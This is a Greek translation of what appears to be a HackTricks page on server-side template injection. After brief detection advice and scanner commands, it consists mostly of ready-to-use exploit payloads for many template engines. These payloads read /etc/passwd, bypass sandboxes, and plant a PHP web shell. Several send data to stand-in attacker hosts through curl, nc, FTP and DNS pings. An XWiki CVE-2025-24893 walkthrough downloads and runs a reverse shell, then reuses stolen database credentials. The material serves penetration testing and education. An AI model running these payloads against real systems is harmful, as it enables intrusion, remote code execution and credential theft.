SSTI (Server Side Template Injection)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

What is SSTI (Server-Side Template Injection)

Server-side template injection είναι μια ευπάθεια που εμφανίζεται όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένης της Jinja.

Η Jinja είναι μια δημοφιλής μηχανή προτύπων που χρησιμοποιείται σε εφαρμογές web. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο απόσπασμα κώδικα που χρησιμοποιεί Jinja:

output = template.render(name=request.args.get('name'))

Σε αυτόν τον ευάλωτο κώδικα, η παράμετρος name από το αίτημα του χρήστη περνάει απευθείας στο template χρησιμοποιώντας τη συνάρτηση render. Αυτό μπορεί ενδεχομένως να επιτρέψει σε έναν attacker να εισάγει κακόβουλο κώδικα στην παράμετρο name, οδηγώντας σε server-side template injection.

Για παράδειγμα, ένας attacker θα μπορούσε να κατασκευάσει ένα request με ένα payload όπως το εξής:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Το payload {{bad-stuff-here}} εισάγεται στην παράμετρο name. Αυτό το payload μπορεί να περιέχει Jinja template directives που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή προτύπων, ενδεχομένως αποκτώντας έλεγχο του server.

Για να αποτραπούν ευπάθειες Server-Side Template Injection (SSTI), οι προγραμματιστές πρέπει να διασφαλίσουν ότι τα δεδομένα εισόδου των χρηστών καθαρίζονται και επικυρώνονται σωστά πριν εισαχθούν σε templates. Η εφαρμογή validation εισόδου και η χρήση context-aware escaping τεχνικών μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.

Ανίχνευση

Για να ανιχνεύσετε Server-Side Template Injection (SSTI), αρχικά, fuzzing the template είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\) στο template και την ανάλυση των διαφορών στην απόκριση του server μεταξύ κανονικών δεδομένων και αυτού του ειδικού payload. Δείκτες ευπάθειας περιλαμβάνουν:

  • Εμφάνιση σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή προτύπων.
  • Μη εμφάνιση του payload στην ανάκλαση, ή τμήματα αυτού να λείπουν, υποδηλώνοντας ότι ο server το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
  • Πλαίσιο απλού κειμένου: Διαχωρίστε από XSS ελέγχοντας αν ο server αξιολογεί εκφράσεις template (π.χ. {{7*7}}, ${7*7}).
  • Πλαίσιο Κώδικα: Επιβεβαιώστε την ευπάθεια αλλάζοντας παραμέτρους εισόδου. Για παράδειγμα, αλλάξτε το greeting στο http://vulnerable-website.com/?greeting=data.username για να δείτε αν το output του server είναι δυναμικό ή σταθερό, όπως στο greeting=data.username}}hello που επιστρέφει το username.

Φάση Αναγνώρισης

Η ταυτοποίηση της μηχανής προτύπων περιλαμβάνει ανάλυση μηνυμάτων σφάλματος ή χειροκίνητο testing διαφόρων payloads ειδικών για κάθε γλώσσα. Συνηθισμένα payloads που προκαλούν σφάλματα περιλαμβάνουν ${7/0}, {{7/0}} και <%= 7/0 %>. Η παρατήρηση της απόκρισης του server σε μαθηματικές πράξεις βοηθάει στον εντοπισμό της συγκεκριμένης μηχανής προτύπων.

Αναγνώριση με payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Εργαλεία

TInjA

ένας αποτελεσματικός SSTI + CSTI scanner που αξιοποιεί καινοτόμα polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς template injection polyglots μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών template engines.

Exploits

Γενικά

Σε αυτή τη wordlist μπορείτε να βρείτε variables defined στα περιβάλλοντα μερικών από τις engines που αναφέρονται παρακάτω:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος

${T(java.lang.System).getenv()}

Java - Ανάκτηση /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Μπορείτε να δοκιμάσετε τα payloads σας στο https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ λειτουργεί μόνο σε εκδόσεις Freemarker κάτω από 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Περισσότερες πληροφορίες

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Περισσότερες πληροφορίες

Thymeleaf

Σε Thymeleaf, ένα συνηθισμένο τεστ για ευπάθειες SSTI είναι η έκφραση ${7*7}, που ισχύει επίσης για αυτήν τη μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι ακόλουθες:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται μέσα σε συγκεκριμένα attributes. Ωστόσο, υποστηρίζεται και το inlining εκφράσεων για άλλες θέσεις σε πρότυπα, χρησιμοποιώντας σύνταξη όπως [[...]] ή [(...)]. Έτσι, ένα απλό SSTI test payload μπορεί να μοιάζει με [[${7*7}]].

Παρόλα αυτά, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη διαμόρφωση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία templates· τα templates πρέπει να είναι προκαθορισμένα. Οι developers θα χρειαστεί να υλοποιήσουν τον δικό τους TemplateResolver για να δημιουργούν templates από strings on-the-fly, κάτι που είναι ασυνήθιστο.

Το Thymeleaf προσφέρει επίσης προκατεργασία εκφράσεων (expression preprocessing), όπου εκφράσεις μέσα σε διπλά underscore (__...__) υποβάλλονται σε προκατεργασία. Αυτή η δυνατότητα μπορεί να αξιοποιηθεί στην κατασκευή εκφράσεων, όπως επιδεικνύεται στην τεκμηρίωση του Thymeleaf:

#{selection.__${sel.code}__}

Παράδειγμα ευπάθειας στο Thymeleaf

Εξετάστε το ακόλουθο απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι ευάλωτο σε εκμετάλλευση:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Αυτό υποδηλώνει ότι, εάν το template engine επεξεργαστεί αυτά τα inputs λανθασμένα, μπορεί να οδηγήσει σε remote code execution που προσπελαύνει URLs όπως:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Περισσότερες πληροφορίες

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Παράκαμψη φίλτρων

Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν ${...} δεν λειτουργεί δοκιμάστε #{...}, *{...}, @{...} ή ~{...}.

  • Διαβάστε /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Προσαρμοσμένο Script για δημιουργία payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Περισσότερες Πληροφορίες

Χειρισμός View στο Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Παλιά έκδοση του Pebble ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Νέα έκδοση του Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Το Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπτύχθηκε από την Hubspot, διαθέσιμο στο https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Περισσότερες πληροφορίες

Hubspot - HuBL (Java)

  • {% %} διαχωριστές δηλώσεων
  • {{ }} διαχωριστές εκφράσεων
  • {# #} διαχωριστές σχολίων
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Αναζητήστε το “com.hubspot.content.hubl.context.TemplateContextRequest” και θα βρείτε το Jinjava project on Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Περισσότερες πληροφορίες

Γλώσσα Εκφράσεων - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Η Γλώσσα Εκφράσεων (EL) είναι ένα θεμελιώδες χαρακτηριστικό που διευκολύνει την αλληλεπίδραση μεταξύ του στρώματος παρουσίασης (π.χ. ιστοσελίδες) και της λογικής της εφαρμογής (π.χ. managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι κύριες τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:

  • JavaServer Faces (JSF): Χρησιμοποιεί την EL για να συνδέσει στοιχεία σε JSF σελίδες με τα αντίστοιχα backend δεδομένα και ενέργειες.
  • JavaServer Pages (JSP): Η EL χρησιμοποιείται σε JSP για την πρόσβαση και τον χειρισμό δεδομένων μέσα σε σελίδες JSP, διευκολύνοντας τη σύνδεση στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
  • Contexts and Dependency Injection for Java EE (CDI): Η EL ενσωματώνεται με το CDI για να επιτρέψει απρόσκοπτη αλληλεπίδραση μεταξύ του web layer και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.

Δείτε την παρακάτω σελίδα για να μάθετε περισσότερα για την εκμετάλλευση των διερμηνέων EL:

EL - Expression Language

Groovy (Java)

Οι ακόλουθες παρακάμψεις του Security Manager προέρχονται από αυτό το writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) αποδίδει μη-επαληθευμένες RSS search feeds μέσω του Main.SolrSearch macro. Ο handler λαμβάνει την παράμετρο query text, την τυλίγει σε wiki syntax και αξιολογεί macros, οπότε η έγχυση }}} ακολουθούμενη από {{groovy}} εκτελεί αυθαίρετο Groovy στο JVM.

  1. Αποτύπωση & εύρος – Όταν το XWiki είναι reverse-proxied πίσω από host-based routing, εφαρμόστε fuzzing στην κεφαλίδα Host (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) για να ανακαλύψετε το wiki vhost, στη συνέχεια περιηγηθείτε σε /xwiki/bin/view/Main/ και διαβάστε το footer (XWiki Debian 15.10.8) για να προσδιορίσετε την ευάλωτη έκδοση.
  2. Trigger SSTI – Κάντε request στο /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Το RSS item <title> θα περιέχει την έξοδο του Groovy. Πάντα “URL-encode all characters” έτσι ώστε τα κενά να παραμένουν ως %20; η αντικατάστασή τους με + κάνει το XWiki να επιστρέφει HTTP 500.
  3. Run OS commands – Αντικαταστήστε το σώμα του Groovy με {{groovy}}println("id".execute().text){{/groovy}}. Η String.execute() ξεκινάει την εντολή απευθείας με execve(), οπότε τα shell metacharacters (|, >, &) δεν ερμηνεύονται. Χρησιμοποιήστε αντ’ αυτού pattern download-and-execute:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (το script περιέχει τη λογική του reverse shell).
  1. Post exploitation – Το XWiki αποθηκεύει τα credentials της βάσης στο /etc/xwiki/hibernate.cfg.xml; το leak του hibernate.connection.password δίνει πραγματικούς κωδικούς συστήματος που μπορούν να επαναχρησιμοποιηθούν για SSH. Εάν το service unit ορίσει NoNewPrivileges=true, εργαλεία όπως το /bin/su δεν θα αποκτήσουν επιπλέον προνόμια ακόμη και με έγκυρους κωδικούς, οπότε κάντε pivot μέσω SSH αντί να βασίζεστε σε τοπικά SUID binaries.

Το ίδιο payload λειτουργεί στο /xwiki/bin/get/Main/SolrSearch, και το Groovy stdout είναι πάντα ενσωματωμένο στο RSS title, οπότε είναι εύκολο να αυτοματοποιήσετε την αναλυτική εκτέλεση εντολών.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Περισσότερες πληροφορίες

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Μορφή προτύπου

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Περισσότερες πληροφορίες

Plates (PHP)

Το Plates είναι μια μηχανή templating εγγενής στο PHP, εμπνευσμένη από το Twig. Ωστόσο, σε αντίθεση με το Twig, που εισάγει νέα σύνταξη, το Plates αξιοποιεί εγγενή κώδικα PHP στα templates, καθιστώντας το διαισθητικό για προγραμματιστές PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Πρότυπο σελίδας:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Πρότυπο διάταξης:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Περισσότερες πληροφορίες

PHPlib και HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά έχει μεταφερθεί στο Pear.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Περισσότερες πληροφορίες

Άλλο (PHP)

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Περισσότερες πληροφορίες

patTemplate (PHP)

patTemplate μη μεταγλωττιζόμενο PHP templating engine, που χρησιμοποιεί XML tags για να διαιρέσει ένα έγγραφο σε διαφορετικά μέρη

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Περισσότερες πληροφορίες

Handlebars (NodeJS)

Path Traversal (περισσότερες πληροφορίες here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Σφάλμα
  • ${7*7} = ${7*7}
  • Τίποτα
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Περισσότερες πληροφορίες

JsRender (NodeJS)

ΠρότυποΠεριγραφή
Αξιολογεί και αποδίδει έξοδο
Αξιολογεί και αποδίδει HTML-κωδικοποιημένη έξοδο
Σχόλιο
καιΕπιτρέπει κώδικα (απενεργοποιημένο από προεπιλογή)
  • = 49

Πλευρά πελάτη

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Πλευρά Διακομιστή

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Περισσότερες πληροφορίες

PugJs (NodeJS)

  • #{7*7} = 49
